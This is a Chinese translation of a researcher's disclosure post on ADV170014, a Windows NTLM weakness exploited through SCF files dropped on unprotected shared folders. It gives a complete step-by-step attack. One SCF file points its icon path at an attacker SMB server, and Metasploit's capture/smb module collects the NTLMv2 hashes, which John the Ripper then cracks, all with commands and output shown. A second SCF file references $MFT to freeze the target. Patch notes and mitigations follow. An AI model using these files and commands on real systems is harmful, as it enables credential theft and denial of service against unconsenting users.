ADV170014 NTLM SSO 漏洞利用指南

Editor 2017-11-08 17:14 81

2017年10月,微软周二补丁日发布的补丁中有一个可选的安全补丁:ADV170014,,这个补丁修复了NTLM认证机制的一个bug,恶意攻击者可以利用这个bug窃取用户密码hash并可以远程利用该漏洞让目标机器死机。

我在2017年5月24日报告了这个bug,微软官方在2017年10月18日关闭了这个bug。

Microsot花了整整148天来确认检查问题。

在10月的周二补丁日之后,官方的解决方案已经发布,所以我打算公开漏洞的细节。现在就看系统管理员们会不会安装这个补丁了,如果他们的系统可以安装这个补丁的话(我们下面再聊修复的话题)。

漏洞

微软的NTLM架构有一些缺陷,这个大家都知道,窃取哈希值也不是什么新鲜事,一个渗透者攻击微软环境做的第一件事可能就是窃取哈希。

但是,这些攻击方法大多都需要用户操作或者流量拦截。

而这篇博客要介绍的攻击并不需要用户进行操作,所有的事情都是在攻击端完成的,不过要成功的完成这样攻击还需要一些特定条件。

攻击场景

这种攻击需要在目标机器上有共享文件夹而且没有密码保护,这种场景在办公室、学校、医院很常见,基本上都是windows系统,可以通过共享文件来分享音乐、照片和文档。

现在假设有一个用户“juan”,他在电脑上创建了一个名为“Prueba2”的文件夹,并决定将整个文件分享给他的团队。

windows系统创建共享文件夹

现在,我们打开“Sharing”标签,修改文件夹属性,以允许共享文件并且不需要使用密码。

打开共享标签配置文件共享属性

这里我们可看到共享文件夹的路径:\\JUAN-PC\Users\juan\Desktop\prueba2,现在我们点击“Network and Sharing center”

网络和共享中心:关闭密码保护

这里我们点击“Turn off password protected sharing”(关闭网络共享)选项,这样就允许任意用户访问共享文件夹而且不需要认证。

SCF 文件

微软从Windows 3.11开始引入了SCF文件。SCF文件是一些纯文本文件,可以让Windows文件浏览器来执行一些基本的任务。

其实已经有一些基于SCF文件的攻击了,但是这些攻击都需要用户操作来执行SCF文件。

来看看两个最近的例子,来自Defense Code 的Bosko Stankovic发现的攻击:Stealing Windows Credentials Using Google Chrome(使用谷歌Chrome浏览器窃取Windows认证文件),以及Black Hat 2015上Jonathan Brossard和Hormazd Billimoria演示的攻击:SMB: Sharing more than just your files(SMB:共享的不仅仅是你的文件)。

一个基本的SCF文件结构就像下面这样:

[Shell]

Command=2

IconFile=\\192.168.1.101\share\test.ico

[Taskbar]

Command=ToggleDesktop

就这么简单,值得要说的一点是SCF文件是Windows很模糊的一个功能,相关的文档近乎于无。

攻击,窃取哈希值

要实施这次攻击,我们打算使用Metasploit,还有一个SCF文件,SCF文件可根据下面的代码进行创建:

root@sysadminjd:~# cat test.scf

[Shell]

Command=2

IconFile=\\192.168.1.111\share\test.ico

[Taskbar]

Command=ToggleDesktop

root@sysadminjd:~#

192.168.1.111 是我们攻击机器的ip地址,我们在这台机器上运行了Metasploit的capture/smb模块:

root@sysadminjd:~# msfconsole -q

msf > use auxiliary/server/capture/smb

msf auxiliary(smb) > set JOHNPWFILE /tmp/smbhash.txt

JOHNPWFILE = /tmp/smbhash.txt

msf auxiliary(smb) > exploit -j

[*] Auxiliary module running as background job

[*] Server started.

msf auxiliary(smb)

我们将使用John the Ripper来破解获取到的哈希值,这也是为什么我们设置了JOHNPWFILE选项,将其指向文件:/tmp/smbhash.txt,我们截获的windows哈希值将会存放到这里。

现在,“Prueba2”文件是空的(不是空的也行)。

攻击前的共享文件夹

各项准备已就位,我们将SCF文件上传到有共享文件夹,可以使用任何你喜欢的方法:OSX Finder、Windoes文件管理器,我们在这里使用smb客户端的命令行。

root@sysadminjd:~# smbclient //192.168.1.67/Users

WARNING: The "syslog" option is deprecated

Enter root's password:

OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]

smb: \> cd juan

smb: \juan\> cd Desktop\

smb: \juan\Desktop\> cd prueba2\

smb: \juan\Desktop\prueba2\> put test.scf

putting file test.scf as \juan\Desktop\prueba2\test.scf (88.9 kb/s) (average 88.9 kb/s)

smb: \juan\Desktop\prueba2\> ls

. D 0 Mon Oct 23 12:27:15 2017

.. D 0 Mon Oct 23 12:27:15 2017

.DS_Store AH 6148 Tue May 23 17:29:03 2017

test.scf A 91 Mon Oct 23 12:27:15 2017

6527487 blocks of size 4096. 4043523 blocks available

smb: \juan\Desktop\prueba2\>

root@sysadminjd:~#

现在我们将提前制作好的SCF文件上传到共享文件夹里了:

包含SCF文件的共享文件夹

现在我们的Metasploit Console会显示如下:


msf auxiliary(smb) >

[*] SMB Captured - 2017-10-23 12:27:15 -0400

NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:47894338d99abe2f08e2c693618c7323

NT_CLIENT_CHALLENGE:0101000000000000d0046aca1b4cd301d755c3756d5639d800000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:27:15 -0400

NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:e97b70559f29462e2ca221d31113b9ca

NT_CLIENT_CHALLENGE:0101000000000000a0177dca1b4cd301f59d5c5d52708e3b00000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:27:15 -0400

NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:eb8b228b739cc95a12d7e0d89d89e002

NT_CLIENT_CHALLENGE:0101000000000000620389ca1b4cd3017283fc96884767b700000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:37:09 -0400

NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:4abb0803c4afd1509bfca3bbc566ad70

NT_CLIENT_CHALLENGE:010100000000000076d7742c1d4cd30161b2c77a54bd58fe00000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:37:09 -0400

NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:5eeb82aab85e9663624aaf6500e4d8f8

NT_CLIENT_CHALLENGE:010100000000000046ea872c1d4cd301c7a724adf323918c00000000020000000000000000000000

[*] SMB Captured - 2017-10-23 12:37:09 -0400

NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67

USER:juan DOMAIN:juan-PC OS: LM:

LMHASH:Disabled

LM_CLIENT_CHALLENGE:Disabled

NTHASH:55a0cb725a5a171cffdccea36fdcd934

NT_CLIENT_CHALLENGE:010100000000000054118f2c1d4cd301f718b1ba2d4efc7800000000020000000000000000000000


正如你看到的那样,一次上传会触发几次认证请求,这个不用管。

现在我们已经得到了截获的密码哈希值了,我们可以使用John进行破解。


root@sysadminjd:~# cd /tmp/

root@sysadminjd:/tmp# john smbhash.txt_netntlmv2

Using default input encoding: UTF-8

Rules/masks using ISO-8859-1

Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])

Press 'q' or Ctrl-C to abort, almost any other key for status

abc (juan)

abc (juan)

abc (juan)

abc (juan)

abc (juan)

abc (juan)

6g 0:00:00:00 DONE 2/3 (2017-10-23 12:27) 75.86g/s 404596p/s 585124c/s 585124C/s abc

Use the "--show" option to display all of the cracked passwords reliably

Session completed

root@sysadminjd:/tmp#


John破解出来了哈希值,登录的用户“juan”使用了弱密码“abc”。

攻击,让目标机器死机

第二个攻击,我们可以远程让目标机器死机,来看看是怎么实现的:

我们还是需要可被攻击的共享文件夹,我们同样还需要一个SCF文件,只不过构造有点不同:

root@sysadminjd:~# cat mft.scf

[Shell]

Command=2

IconFile= c:\$MFT\123

[Taskbar]

Command=ToggleDesktop

root@sysadminjd:~#

这个SCF文件包含一个对$MFT的调用,这将会锁定NTFS文件系统,关于这个利用在这篇文章里有过讨论(不好意思,只有西班牙语的),或者你可以去网上找找关于这个利用的其它资料。

现在我们将SCF文件上传到目标机器上,(再一次使用smbclient):

root@sysadminjd:~# smbclient //192.168.1.67/Users

WARNING: The "syslog" option is deprecated

Enter root's password:

OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]

smb: \Z cd

Default\ desktop.ini juan\ Public\

smb: \> cd juan\Desktop\prueba2\

smb: \juan\Desktop\prueba2\> ls

. D 0 Wed May 24 18:08:34 2017

.. D 0 Wed May 24 18:08:34 2017

.DS_Store AH 6148 Tue May 23 17:29:03 2017

1.exe A 7168 Tue May 23 17:29:03 2017

prueba.scf A 92 Wed May 24 18:08:34 2017

6527487 blocks of size 4096. 4156104 blocks available

smb: \juan\Desktop\prueba2\> put mft.scf

putting file mft.scf as \juan\Desktop\prueba2\mft.scf (17.6 kb/s) (average 17.6 kb/s)

就这样,不需要攻击者或者被攻击者进行其他的操作,目标机器现在已经锁定了文件系统,然后就静静等它重启了。

受影响的版本

根据微软官方,从Windows 3.11 到Windows10 的所有版本,不管是桌面版本还是服务器版本都会受到该漏洞影响。

坦白的讲,我只在Windows 7 和 Windows 10上做了测试,然后我就把“锅”丢给微软了。

修复方法

微软发布了针对这个漏洞的补丁,修改了两项注册表键值来关闭操作系统的NTLM。然而这个注册表键只在Windows 10和Windows Server 2016上有,微软没有打算发布对其他版本的修复补丁。

另一个问题是,禁用NTLM会破坏很多环境,这是微软他们的担忧。

我的建议是,使用强密码,在攻击之后,攻击者需要破解获取的哈希值,如果密码足够复杂那么破解过程将需要大量时间,足够让攻击者放弃。

更好的方法是:不要无密码共享文件夹,这样会比较彻底些。

致谢以及最后的评论

这个漏洞已经存在很长时间了,我已经利用这个漏洞差不多一年了(当然是用在我的渗透测试项目上)。

这个漏洞如此简单,几乎任何人都可以利用,不过好的一点是,这个漏洞的成功利用需要特定的条件,而windows默认配置是不会受影响的。

我想感谢微软SRC,他们辛苦工作来修复这个漏洞,并且提供了针对这个问题的部分补丁,一个针对所有版本windows版本的补丁也是不太可能的。

这个攻击的发现还得力于来自Defense Code的Bosko Stankovic的杰出工作:Stealing Windows Credentials Using Google Chrome以及 Jonathan Brossard/Hormazd Billimoria 在Blackhat的演讲:SMB: Sharing more than just your files。

当然,也感谢大家阅读这篇略长的博客。

Cheers!

--------------------------------------------分割线------------------------------------------------------------------

根据原作者的博客简单的测试了下,第一个攻击成功了,获取了用户的密码哈希。但是第二个让服务器死机的没有复现成功。

译者测试的环境是Windows Server 2003中文版。感兴趣的小伙伴试一试在其他版本的系统能不能复现成功。

本文由看雪翻译小组 Limp 编译,来源@Sysadmin Life  转载请注明来自看雪社区

最新评论 (0)
登录后即可评论
返回